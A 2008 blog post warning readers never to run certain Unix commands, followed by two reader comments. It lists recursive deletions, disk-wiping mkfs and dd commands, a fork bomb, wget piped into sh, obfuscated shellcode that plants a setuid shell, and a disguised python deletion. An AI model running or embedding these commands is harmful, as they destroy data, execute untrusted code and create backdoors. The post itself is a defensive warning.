Friday, October 17, 2008

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*

mkfs
mkfs.ext3
mkfs.anything

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73

2 comments:

  1. So basically, you're copying Ubuntu's naughty command list verbatim, and stripping out the explanations of why it's a bad idea. What a waste of time.

    And the e.s.p. release one as you've presented it is harmless anyway, since you fail to mention it's C code (not something to type directly into the shell).

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  2. I take it as this,

    Found a very useful thing, so extracted the main things in case users mind reading long articles. Put link to the original file for those who want to read more.

    If at least one people stops from doing rm -rf / recalling this, I wouldn't call total waste of my time.

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